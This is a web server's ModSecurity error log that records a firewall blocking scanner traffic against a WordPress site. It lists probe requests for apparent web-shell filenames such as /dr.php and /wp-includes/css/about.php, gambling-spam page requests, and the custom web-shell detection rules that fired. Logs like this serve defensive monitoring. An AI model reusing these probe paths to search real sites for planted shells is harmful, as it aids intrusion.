[Thu Feb 05 16:58:00.560946 2026] [:error] [pid 31833:tid 31837] [client 20.122.171.170:49054] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x/"] [unique_id "aYRbmBzypZt5yekRAkEvzgAAAYI"]
[Thu Feb 05 16:58:02.347416 2026] [:error] [pid 31833:tid 31855] [client 20.122.171.170:40263] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x/"] [unique_id "aYRbmhzypZt5yekRAkEvzwAAAZQ"]
[Thu Feb 05 16:58:03.230386 2026] [:error] [pid 33122:tid 33124] [client 20.122.171.170:44702] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x/"] [unique_id "aYRbm_W0IebAnFB9KDD93AAAAEA"]
[Thu Feb 05 16:58:07.051790 2026] [:error] [pid 33396:tid 33406] [client 20.122.171.170:49036] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x/"] [unique_id "aYRbn_Tgp_Ev6LiSSgCgngAAAMM"]
[Thu Feb 05 16:58:08.400933 2026] [:error] [pid 14577:tid 14595] [client 20.122.171.170:40270] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.cache/x.php"] [unique_id "aYRboJZbKwRdMc_HlgJOWAAAAVA"]
[Thu Feb 05 16:58:09.761277 2026] [:error] [pid 31739:tid 31751] [client 20.122.171.170:40288] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.cache/x.php"] [unique_id "aYRboQGrHl_5BvMstJKvzgAAAAo"]
[Thu Feb 05 16:58:11.158858 2026] [:error] [pid 31833:tid 31847] [client 20.122.171.170:44245] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.cache/x.php"] [unique_id "aYRboxzypZt5yekRAkEv0wAAAYw"]
[Thu Feb 05 16:58:12.282670 2026] [:error] [pid 33396:tid 33413] [client 20.122.171.170:40261] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.cache/x.php"] [unique_id "aYRbpPTgp_Ev6LiSSgCgpAAAAMo"]
[Thu Feb 05 16:58:13.628442 2026] [:error] [pid 31775:tid 31820] [client 20.122.171.170:43761] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dr.php"] [unique_id "aYRbpRNlTj92HTKsJN3fRwAAAQ8"]
[Thu Feb 05 16:58:15.791037 2026] [:error] [pid 31774:tid 31800] [client 20.122.171.170:47799] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dr.php"] [unique_id "aYRbp6jDlLg1NOhSOXUCiAAAAJY"]
[Thu Feb 05 16:58:16.369804 2026] [:error] [pid 31775:tid 31814] [client 20.122.171.170:49075] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dr.php"] [unique_id "aYRbqBNlTj92HTKsJN3fSgAAAQk"]
[Thu Feb 05 16:58:17.109002 2026] [:error] [pid 31774:tid 31789] [client 20.122.171.170:46594] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dr.php"] [unique_id "aYRbqajDlLg1NOhSOXUCjAAAAIs"]
[Thu Feb 05 16:58:18.147120 2026] [:error] [pid 33122:tid 33125] [client 20.122.171.170:44274] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raw.php"] [unique_id "aYRbqvW0IebAnFB9KDD93gAAAEE"]
[Thu Feb 05 16:58:20.114651 2026] [:error] [pid 31833:tid 31835] [client 20.122.171.170:49028] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raw.php"] [unique_id "aYRbrBzypZt5yekRAkEv1wAAAYA"]
[Thu Feb 05 16:58:21.822295 2026] [:error] [pid 33122:tid 33135] [client 20.122.171.170:49078] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raw.php"] [unique_id "aYRbrfW0IebAnFB9KDD94AAAAEs"]
[Thu Feb 05 16:58:26.974562 2026] [:error] [pid 31775:tid 31811] [client 20.122.171.170:49060] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raw.php"] [unique_id "aYRbshNlTj92HTKsJN3fTAAAAQY"]
[Thu Feb 05 16:58:28.390613 2026] [:error] [pid 31739:tid 31756] [client 20.122.171.170:45402] [client 20.122.171.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/about.php"] [unique_id "aYRbtAGrHl_5BvMstJKv1QAAAA8"]
[Thu Feb 05 16:58:30.954699 2026] [:error] [pid 31833:tid 31837] [client 20.122.171.170:47766] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aYRbthzypZt5yekRAkEv3AAAAYI"]
[Thu Feb 05 16:58:39.898158 2026] [:error] [pid 14577:tid 14598] [client 20.122.171.170:49045] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aYRbv5ZbKwRdMc_HlgJOdgAAAVM"]
[Thu Feb 05 16:58:45.912979 2026] [:error] [pid 14577:tid 14593] [client 20.122.171.170:47779] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aYRbxZZbKwRdMc_HlgJOfgAAAU4"]
[Thu Feb 05 16:58:47.957638 2026] [:error] [pid 31833:tid 31835] [client 20.122.171.170:49038] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aYRbxxzypZt5yekRAkEv5QAAAYA"]
[Thu Feb 05 16:59:57.587489 2026] [:error] [pid 14577:tid 14591] [client 137.184.237.108:42860] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYRcDZZbKwRdMc_HlgJPFwAAAUw"]
[Thu Feb 05 19:29:51.038081 2026] [:error] [pid 31833:tid 31849] [client 51.83.7.88:51498] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYR_LxzypZt5yekRAkFTQAAAAY4"]
[Thu Feb 05 19:29:54.015857 2026] [:error] [pid 33396:tid 33427] [client 51.83.7.88:54060] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYR_MvTgp_Ev6LiSSgDGfgAAANg"]
[Thu Feb 05 19:29:56.023638 2026] [:error] [pid 19213:tid 19217] [client 51.83.7.88:54076] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYR_NF7WBXhXgHKWAIBboQAAAcA"]
[Thu Feb 05 19:29:58.406221 2026] [:error] [pid 31775:tid 31823] [client 51.83.7.88:54078] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYR_NhNlTj92HTKsJN0h_gAAARI"]
[Thu Feb 05 19:30:00.716103 2026] [:error] [pid 33396:tid 33413] [client 51.83.7.88:54088] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYR_OPTgp_Ev6LiSSgDGiAAAAMo"]
[Thu Feb 05 19:30:02.945029 2026] [:error] [pid 31833:tid 31844] [client 51.83.7.88:51048] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYR_OhzypZt5yekRAkFTVAAAAYk"]
[Thu Feb 05 19:30:05.319363 2026] [:error] [pid 19246:tid 19267] [client 51.83.7.88:51064] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYR_PXE1Gc0V44f4mCdIFAAAAhA"]
[Thu Feb 05 19:30:07.483590 2026] [:error] [pid 33122:tid 33132] [client 51.83.7.88:51078] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYR_P_W0IebAnFB9KDAkaQAAAEg"]
[Thu Feb 05 19:30:09.741922 2026] [:error] [pid 19246:tid 19258] [client 51.83.7.88:51082] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYR_QXE1Gc0V44f4mCdIIwAAAgc"]
[Thu Feb 05 19:30:11.988777 2026] [:error] [pid 19213:tid 19226] [client 51.83.7.88:59364] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYR_Q17WBXhXgHKWAIBbrgAAAcg"]
[Thu Feb 05 19:30:14.020400 2026] [:error] [pid 33122:tid 33133] [client 51.83.7.88:59378] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYR_RvW0IebAnFB9KDAkdAAAAEk"]
[Thu Feb 05 19:30:16.340465 2026] [:error] [pid 19213:tid 19223] [client 51.83.7.88:59380] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYR_SF7WBXhXgHKWAIBbsQAAAcU"]
[Thu Feb 05 19:30:18.603361 2026] [:error] [pid 31739:tid 31755] [client 51.83.7.88:59382] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYR_SgGrHl_5BvMstJLUHAAAAA4"]
[Thu Feb 05 19:30:20.935753 2026] [:error] [pid 31775:tid 31810] [client 51.83.7.88:59396] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYR_TBNlTj92HTKsJN0iMgAAAQU"]
[Thu Feb 05 19:30:23.128642 2026] [:error] [pid 31774:tid 31797] [client 51.83.7.88:46294] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYR_T6jDlLg1NOhSOXUr5QAAAJM"]
[Thu Feb 05 19:30:25.271872 2026] [:error] [pid 31833:tid 31841] [client 51.83.7.88:46304] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYR_URzypZt5yekRAkFTdgAAAYY"]
[Thu Feb 05 19:30:27.626453 2026] [:error] [pid 19213:tid 19227] [client 51.83.7.88:46318] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYR_U17WBXhXgHKWAIBbvgAAAck"]
[Thu Feb 05 19:30:29.770905 2026] [:error] [pid 33396:tid 33421] [client 51.83.7.88:46326] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYR_VfTgp_Ev6LiSSgDGnAAAANI"]
[Thu Feb 05 19:30:31.776279 2026] [:error] [pid 33396:tid 33415] [client 51.83.7.88:57794] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYR_V_Tgp_Ev6LiSSgDGogAAAMw"]
[Thu Feb 05 19:30:33.806380 2026] [:error] [pid 31774:tid 31802] [client 51.83.7.88:57806] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYR_WajDlLg1NOhSOXUr7AAAAJg"]
[Thu Feb 05 19:30:35.779391 2026] [:error] [pid 19246:tid 19268] [client 51.83.7.88:57812] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYR_W3E1Gc0V44f4mCdIXwAAAhE"]
[Thu Feb 05 19:30:38.324125 2026] [:error] [pid 31774:tid 31778] [client 51.83.7.88:57818] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYR_XqjDlLg1NOhSOXUr8gAAAIA"]
[Thu Feb 05 19:30:40.524366 2026] [:error] [pid 19213:tid 19220] [client 51.83.7.88:57828] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYR_YF7WBXhXgHKWAIBb2QAAAcI"]
[Thu Feb 05 19:30:42.659716 2026] [:error] [pid 33122:tid 33129] [client 51.83.7.88:38476] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYR_YvW0IebAnFB9KDAktwAAAEU"]
[Thu Feb 05 19:30:44.689734 2026] [:error] [pid 33122:tid 33128] [client 51.83.7.88:38492] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYR_ZPW0IebAnFB9KDAkwwAAAEQ"]
[Thu Feb 05 19:30:46.782448 2026] [:error] [pid 19213:tid 19222] [client 51.83.7.88:38502] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYR_Zl7WBXhXgHKWAIBb3wAAAcQ"]
[Thu Feb 05 19:31:23.425011 2026] [:error] [pid 33396:tid 33408] [client 51.83.7.88:38506] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aYR_i_Tgp_Ev6LiSSgDG7QAAAMU"]
[Thu Feb 05 19:31:25.339832 2026] [:error] [pid 31774:tid 31801] [client 51.83.7.88:51500] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aYR_jajDlLg1NOhSOXUsPAAAAJc"]
[Thu Feb 05 19:31:27.325374 2026] [:error] [pid 33122:tid 33145] [client 51.83.7.88:51506] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYR_j_W0IebAnFB9KDAk-wAAAFU"]
[Thu Feb 05 19:31:29.441592 2026] [:error] [pid 31739:tid 31765] [client 51.83.7.88:51510] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYR_kQGrHl_5BvMstJLUXQAAABg"]
[Thu Feb 05 19:31:31.375205 2026] [:error] [pid 19246:tid 19273] [client 51.83.7.88:51514] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYR_k3E1Gc0V44f4mCdIvAAAAhY"]
[Thu Feb 05 19:31:33.346356 2026] [:error] [pid 31833:tid 31849] [client 51.83.7.88:56298] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYR_lRzypZt5yekRAkFTwQAAAY4"]
[Thu Feb 05 19:31:35.394622 2026] [:error] [pid 31739:tid 31753] [client 51.83.7.88:56308] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYR_lwGrHl_5BvMstJLUbgAAAAw"]
[Thu Feb 05 19:31:37.358564 2026] [:error] [pid 19246:tid 19252] [client 51.83.7.88:56314] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYR_mXE1Gc0V44f4mCdIwQAAAgE"]
